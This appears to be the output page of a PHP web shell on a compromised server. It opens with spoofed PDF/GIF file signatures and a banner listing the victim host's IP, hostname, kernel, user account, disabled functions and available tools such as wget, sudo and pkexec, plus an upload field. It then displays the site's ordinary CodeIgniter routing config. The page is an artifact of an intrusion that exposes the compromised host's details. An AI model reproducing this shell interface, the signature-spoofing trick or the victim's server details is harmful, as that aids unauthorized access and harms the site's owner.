%PDF-1.7 GIF89;
Server IP : 5.161.254.237 / Your IP : 216.73.216.242 Web Server : Apache System : Linux diamond.sialwebvps.com 4.18.0-553.8.1.el8_10.x86_64 #1 SMP Tue Jul 2 07:26:33 EDT 2024 x86_64 User : stellasp ( 1131) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /home/stellasp/public_html/application/config/ |
Upload File : |
<?php if ( ! defined('BASEPATH')) exit('No direct script access allowed'); /* | ------------------------------------------------------------------------- | URI ROUTING | ------------------------------------------------------------------------- | This file lets you re-map URI requests to specific controller functions. | | Typically there is a one-to-one relationship between a URL string | and its corresponding controller class/method. The segments in a | URL normally follow this pattern: | | example.com/class/method/id/ | | In some instances, however, you may want to remap this relationship | so that a different class/function is called than the one | corresponding to the URL. | | Please see the user guide for complete details: | | http://codeigniter.com/user_guide/general/routing.html | | ------------------------------------------------------------------------- | RESERVED ROUTES | ------------------------------------------------------------------------- | | There area two reserved routes: | | $route['default_controller'] = 'welcome'; | | This route indicates which controller class should be loaded if the | URI contains no data. In the above example, the "welcome" class | would be loaded. | | $route['404_override'] = 'errors/page_missing'; | | This route will tell the Router what URI segments to use if those provided | in the URL cannot be matched to a valid route. | */ $route['default_controller'] = "cart"; //this for the admininstration console $route['admin'] = 'admin/dashboard'; $route['contact-us'] = 'cart/contact'; $route['new-arrival'] = 'cart/newArrivals'; $route['blogs'] = 'cart/blog'; $route['downloadCatalogue'] = 'cart/downloadCatalogue'; $route['compliance'] = 'cart/compliance'; $route['factory-view'] = 'cart/factoryView'; $route['events'] = 'cart/news_and_events'; $route['resources'] = 'cart/catalogues'; $route['catalogues'] = 'cart/catalogues'; $route['career'] = 'cart/career'; $route['supply-chain'] = 'cart/supply_chain'; $route['our-history'] = 'cart/history'; $route['company'] = 'cart/company'; $route['faqs'] = 'cart/faqs'; $route['media'] = 'cart/media'; $route['global_recognition'] = 'cart/global_recognition'; $route['departments'] = 'cart/departments'; $route['contact-us'] = 'cart/contact'; //get routes from database include('database.php'); $conn = mysqli_connect($db[$active_group]['hostname'],$db[$active_group]['username'],$db[$active_group]['password']); mysqli_select_db($conn, $db[$active_group]['database']) or die("Unable to select database"); $routes = mysqli_query($conn,'SELECT * FROM '.$db[$active_group]['dbprefix'].'routes'); while($row = mysqli_fetch_array($routes)) { //if "category" is in the route, then add some stuff for pagination if(strpos($row['route'], 'category')) { $route[$row['slug']] = $row['route']; $row['slug'] .= '/(:num)'; $row['route'] .= '/$1'; } $route[$row['slug']] = $row['route']; } mysqli_free_result($routes); //in case we're using pconnect mysqli_close($conn);